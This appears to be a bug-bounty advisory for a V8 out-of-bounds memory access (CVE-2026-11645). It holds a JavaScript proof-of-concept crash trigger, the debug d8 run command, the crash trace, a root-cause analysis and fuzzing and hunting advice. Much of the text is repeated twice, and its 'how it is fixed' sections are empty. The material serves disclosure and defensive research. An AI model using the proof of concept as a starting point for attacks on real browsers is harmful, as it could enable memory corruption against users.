Out of bounds memory access in V8 (CVE-2026-11645)
A debug check in V8's descriptor array handling fails when a class field is defined with a computed key and the class extends Function, leading to an out-of-bounds memory access. An attacker could potentially exploit this to cause a crash or achieve code execution.
- Fix shipped in 43 days
REPRODUCE
poc.js:
let key = "AA";
let value = 2;
class C extends Function {
[key] = value;
}
for (let i = 0; i < 5; i++) {
function f() {
value = +f;
}
new C("'use strict'");
f();
}
V8 must be built with a debug configuration. Execute v8 as follows:
../x64.debug/d8 \
./poc.js
This will result in the following crash:
#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 282
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (3 vs. 0).
#
#
#
#FailureMessage Object: 0x7fffffffb088
==== C stack trace ===============================
../x64.debug/d8(v8::base::debug::StackTrace::StackTrace()+0x29) [0x555565fedbe9]
../x64.debug/d8(+0x10a94acd) [0x555565fe8acd]
../x64.debug/d8(v8::base::PrintStackTraceIfAvailable()+0x14) [0x555565fc3444]
../x64.debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x555565fc3bf9]
../x64.debug/d8(+0x10a6f4bc) [0x555565fc34bc]
../x64.debug/d8(V8_Dcheck(char const*, int, char const*)+0x4d) [0x555565fc3cfd]
../x64.debug/d8(v8::internal::DescriptorArray::GetDetails(v8::internal::InternalIndex)+0x67) [0x55555f5e5857]
../x64.debug/d8(+0xb0757a4) [0x5555605c97a4]
../x64.debug/d8(v8::internal::JSObject::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSObject>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x7d) [0x5555605b733d]
../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSReceiver>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0xd8) [0x5555605ad5f8]
../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x146) [0x5555605b72a6]
../x64.debug/d8(v8::internal::Runtime::DefineObjectOwnProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::StoreOrigin)+0x58a) [0x555560aea4ba]
../x64.debug/d8(+0xb59a851) [0x555560aee851]
../x64.debug/d8(v8::internal::Runtime_DefineObjectOwnProperty(int, unsigned long*, v8::internal::Isolate*)+0x129) [0x555560aee669]
../x64.debug/d8(+0xfa73d3d) [0x555564fc7d3d]
CREDIT INFORMATION
Reporter credit: [303f06e3]
What the report shows
This is a Chrome VRP advisory for an out of bounds memory access in V8, tracked as CVE-2026-11645, rated high severity and credited to 303f06e3. The platform records a bounty of 55,000 USD and a disclosure date of 8 June 2026. The report itself is a reproduction: a short JavaScript proof of concept, the exact command used to run it, and the resulting crash output. It does not describe a fix, a patch, or the affected Chrome version.
The proof of concept is a single file, poc.js:
let key = "AA";
let value = 2;
class C extends Function {
[key] = value;
}
for (let i = 0; i < 5; i++) {
function f() {
value = +f;
}
new C("'use strict'");
f();
}
The researcher states that V8 must be built with a debug configuration, and gives the command to run the file under the debug d8 shell:
../x64.debug/d8 \
./poc.js
Running it produces a fatal debug check failure rather than a silent corruption. The crash output begins:
#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 282
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (3 vs. 0).
#
#
#
#FailureMessage Object: 0x7fffffffb088
==== C stack trace ===============================
../x64.debug/d8(v8::base::debug::StackTrace::StackTrace()+0x29) [0x555565fedbe9]
../x64.debug/d8(+0x10a94acd) [0x555565fe8acd]
../x64.debug/d8(v8::base::PrintStackTraceIfAvailable()+0x14) [0x555565fc3444]
../x64.debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x555565fc3bf9]
../x64.debug/d8(+0x10a6f4bc) [0x555565fc34bc]
../x64.debug/d8(V8_Dcheck(char const*, int, char const*)+0x4d) [0x555565fc3cfd]
../x64.debug/d8(v8::internal::DescriptorArray::GetDetails(v8::internal::InternalIndex)+0x67) [0x55555f5e5857]
../x64.debug/d8(+0xb0757a4) [0x5555605c97a4]
../x64.debug/d8(v8::internal::JSObject::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSObject>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x7d) [0x5555605b733d]
../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSReceiver>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0xd8) [0x5555605ad5f8]
../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x146) [0x5555605b72a6]
../x64.debug/d8(v8::internal::Runtime::DefineObjectOwnProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::StoreOrigin)+0x58a) [0x555560aea4ba]
../x64.debug/d8(+0xb59a851) [0x555560aee851]
../x64.debug/d8(v8::internal::Runtime_DefineObjectOwnProperty(int, unsigned long*, v8::internal::Isolate*)+0x129) [0x555560aee669]
../x64.debug/d8(+0xfa73d3d) [0x555564fc7d3d]
The reporter credit is given as 303f06e3.
Root cause
The crash is a debug check in DescriptorArray::GetDetails: the code asks for descriptor number 3 while the array reports 0 descriptors. The stack shows the path running through Runtime_DefineObjectOwnProperty into JSObject::CreateDataProperty, so a property definition is reading a descriptor slot that the descriptor array does not contain. The likely cause is a mismatch between the map or descriptor array state and the property being defined, so the lookup uses an index that is out of bounds for the current descriptor array. The report does not identify the specific code change or condition that creates the mismatch.
The proof of concept exercises a class that extends Function with a computed field name, instantiated repeatedly while a closure reassigns the outer value binding. The interaction between class field initialisation on a Function subclass and the property definition path is what reaches the failing check.
Impact
The report classifies the issue as an out of bounds memory access and the platform rates it high severity. In a debug build the result is a controlled fatal check. The report shows only the debug check failure; it does not describe what happens in a release build. The report does not include an exploit, a sandbox escape, or any demonstration beyond the debug crash, so the practical impact beyond memory corruption is not shown here.
How this kind of bug works
V8 stores an object's named properties in a descriptor array, and each property has a descriptor number that indexes into that array. Code that reads or writes a descriptor assumes the number is smaller than the array's descriptor count. When an object's map, its descriptor array and its property count get out of step, for example after a transition during class field initialisation or a change to a shared map, an index can point past the end of the array. The access then lands in adjacent heap memory. Debug builds catch this with a check; release builds do not, so the same access becomes a memory safety bug. The general defences are invariant checks around descriptor access, keeping map transitions and descriptor array updates atomic, and fuzzing the object model paths that create and redefine properties.
How to test for it
- Target the JavaScript engine paths that create or redefine properties: class fields, computed keys,
Object.defineProperty, prototype changes, and subclasses of built-in constructors such asFunctionandArray. - Build or obtain a debug build of the engine, because the invariant checks turn silent corruption into a clear crash with a stack trace naming the failing file and line.
- Write small scripts that combine these features, run each in a loop so inline caches and map transitions are exercised, and watch for fatal checks or assertion failures.
- A positive result is a deterministic crash in a debug build with a stack trace pointing at an internal invariant, ideally reduced to a few lines.
- Common false positives are crashes caused by resource exhaustion, stack overflow from deep recursion, or unsupported syntax in the shell; confirm the crash names an internal check and reproduces reliably before reporting.
How it is fixed
Hunting notes
Object model bugs tend to hide where the engine special-cases built-ins: subclassing Function, Array or Promise, class fields with computed names, and repeated instantiation that stresses inline caches. A crash in a debug build with a stack trace through descriptor or map code is a strong signal. To get a report accepted, reduce the proof of concept to the minimum that still crashes, state the exact build configuration and command, and include the full crash output.
What happened, in plain words
Google Chrome runs JavaScript using an internal engine called V8. This report is a Chrome VRP (Vulnerability Reward Program) advisory about a bug in V8 where the engine could read memory outside the area it was supposed to look at. That class of bug is called an out of bounds memory access. The bug is tracked as CVE-2026-11645, rated high severity, and credited to a researcher using the name 303f06e3. The platform records a bounty of 55,000 USD and a disclosure date of 8 June 2026.
The report is a reproduction: a short JavaScript file that triggers the bug, the exact command used to run it, and the crash output that follows. It does not describe a fix, a patch, or which Chrome version was affected.
The proof of concept is a single file, poc.js:
let key = "AA";
let value = 2;
class C extends Function {
[key] = value;
}
for (let i = 0; i < 5; i++) {
function f() {
value = +f;
}
new C("'use strict'");
f();
}
Line by line, this is what the script does:
let key = "AA";creates a variable holding a short string. It will be used as a property name.let value = 2;creates a variable holding a number.class C extends Function { ... }defines a class that inherits from JavaScript's built-inFunctionconstructor. In everyday terms, it is a custom recipe built on top of a standard one.[key] = value;is a class field whose name is computed at runtime from thekeyvariable. So the class gets a property calledAAwith the value2. Computed names are the interesting part: the engine has to work out the property name while the object is being created.- The
forloop runs the body five times. Repeating it matters because engines optimise code that runs often, and the bug shows up once those repeated paths are exercised. - Inside the loop,
function f() { value = +f; }defines a function that reassigns the outervaluevariable to the numeric form of the function itself. new C("'use strict'");creates an instance of the class, passing a string that turns on strict mode inside the generated function.f();calls the inner function, which changesvalue.
The researcher states that V8 must be built with a debug configuration, and gives the command to run the file under the debug d8 shell, a small command-line program used to run JavaScript against V8 directly:
../x64.debug/d8 \
./poc.js
Running it produces a fatal debug check failure rather than silent corruption. The crash output begins:
#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 282
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (3 vs. 0).
#
#
#
#FailureMessage Object: 0x7fffffffb088
==== C stack trace ===============================
../x64.debug/d8(v8::base::debug::StackTrace::StackTrace()+0x29) [0x555565fedbe9]
../x64.debug/d8(+0x10a94acd) [0x555565fe8acd]
../x64.debug/d8(v8::base::PrintStackTraceIfAvailable()+0x14) [0x555565fc3444]
../x64.debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x555565fc3bf9]
../x64.debug/d8(+0x10a6f4bc) [0x555565fc34bc]
../x64.debug/d8(V8_Dcheck(char const*, int, char const*)+0x4d) [0x555565fc3cfd]
../x64.debug/d8(v8::internal::DescriptorArray::GetDetails(v8::internal::InternalIndex)+0x67) [0x55555f5e5857]
../x64.debug/d8(+0xb0757a4) [0x5555605c97a4]
../x64.debug/d8(v8::internal::JSObject::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSObject>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x7d) [0x5555605b733d]
../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSReceiver>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0xd8) [0x5555605ad5f8]
../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x146) [0x5555605b72a6]
../x64.debug/d8(v8::internal::Runtime::DefineObjectOwnProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::StoreOrigin)+0x58a) [0x555560aea4ba]
../x64.debug/d8(+0xb59a851) [0x555560aee851]
../x64.debug/d8(v8::internal::Runtime_DefineObjectOwnProperty(int, unsigned long*, v8::internal::Isolate*)+0x129) [0x555560aee669]
../x64.debug/d8(+0xfa73d3d) [0x555564fc7d3d]
The reporter credit is given as 303f06e3.
Root cause
The crash is a debug check in DescriptorArray::GetDetails: the code asks for descriptor number 3 while the array reports 0 descriptors. The stack shows the path running through Runtime_DefineObjectOwnProperty into JSObject::CreateDataProperty, so a property definition is reading a descriptor slot that the descriptor array does not contain. The likely cause is a mismatch between the map or descriptor array state and the property being defined, so the lookup uses an index that is out of bounds for the current descriptor array. The report does not identify the specific code change or condition that creates the mismatch.
The proof of concept exercises a class that extends Function with a computed field name, instantiated repeatedly while a closure reassigns the outer value binding. The interaction between class field initialisation on a Function subclass and the property definition path is what reaches the failing check.
Impact
The report classifies the issue as an out of bounds memory access and the platform rates it high severity. In a debug build the result is a controlled fatal check. The report shows only the debug check failure; it does not describe what happens in a release build. The report does not include an exploit, a sandbox escape, or any demonstration beyond the debug crash, so the practical impact beyond memory corruption is not shown here.
In general, how this kind of bug works
V8 stores an object's named properties in a descriptor array, and each property has a descriptor number that indexes into that array. Code that reads or writes a descriptor assumes the number is smaller than the array's descriptor count. When an object's map, its descriptor array and its property count get out of step, for example after a transition during class field initialisation or a change to a shared map, an index can point past the end of the array. The access then lands in adjacent heap memory. Debug builds catch this with a check; release builds do not, so the same access becomes a memory safety bug. The general defences are invariant checks around descriptor access, keeping map transitions and descriptor array updates atomic, and fuzzing the object model paths that create and redefine properties.
In general, how to test for it
- Target the JavaScript engine paths that create or redefine properties: class fields, computed keys,
Object.defineProperty, prototype changes, and subclasses of built-in constructors such asFunctionandArray. - Build or obtain a debug build of the engine, because the invariant checks turn silent corruption into a clear crash with a stack trace naming the failing file and line.
- Write small scripts that combine these features, run each in a loop so inline caches and map transitions are exercised, and watch for fatal checks or assertion failures.
- A positive result is a deterministic crash in a debug build with a stack trace pointing at an internal invariant, ideally reduced to a few lines.
- Common false positives are crashes caused by resource exhaustion, stack overflow from deep recursion, or unsupported syntax in the shell; confirm the crash names an internal check and reproduces reliably before reporting.
In general, how it is fixed
In general, hunting notes
Object model bugs tend to hide where the engine special-cases built-ins: subclassing Function, Array or Promise, class fields with computed names, and repeated instantiation that stresses inline caches. A crash in a debug build with a stack trace through descriptor or map code is a strong signal. To get a report accepted, reduce the proof of concept to the minimum that still crashes, state the exact build configuration and command, and include the full crash output.
Glossary
- V8: the JavaScript engine inside Chrome that reads and runs JavaScript code.
- Out of bounds memory access: reading or writing memory outside the area a program was meant to use.
- CVE: a public identifier given to a known security vulnerability.
- Chrome VRP: Chrome's Vulnerability Reward Program, which pays researchers for reporting bugs.
- Bounty: the money paid for a valid report.
- Proof of concept (PoC): a small piece of code that reliably triggers a bug.
- Debug build: a version of the software with extra internal checks switched on, used for testing.
- Release build: the normal version shipped to users, without those extra checks.
- d8: a command-line shell for running JavaScript against V8 directly.
- Descriptor array: V8's internal table listing an object's named properties.
- Descriptor number: the position of a property inside that table.
- Map: V8's internal description of an object's shape, meaning which properties it has and where.
- Heap: the region of memory where a program stores its objects.
- Stack trace: the list of function calls that led to a crash.
- Invariant check: an internal test that confirms a condition the code assumes is always true.
- Inline cache: a shortcut an engine uses to speed up repeated property lookups.
- Class field: a property declared directly inside a class definition.
- Computed key: a property name worked out at runtime rather than written literally.
- Renderer: the Chrome process that handles a web page and runs its JavaScript.
- Sandbox escape: breaking out of the restricted environment a process is confined to.
- Fuzzing: feeding software large amounts of generated input to find crashes.